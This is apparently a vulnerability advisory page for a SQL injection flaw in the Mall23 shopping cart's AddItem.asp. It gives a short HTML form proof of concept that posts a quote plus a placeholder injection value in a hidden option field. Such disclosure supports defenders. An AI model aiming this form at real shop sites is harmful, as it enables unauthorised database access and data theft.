• info
• discussion
• exploit
• solution
• references

Mall23 AddItem.ASP SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
<form action="http://www.example.com/m23Basket/AddItem.asp?idProduct=6" method="POST">
<input type="hidden" name="idOption_Dropdown_2" value="'[SQL INJECTION]">
<input type="Submit" name="submit" value="Test Exploit">
</form>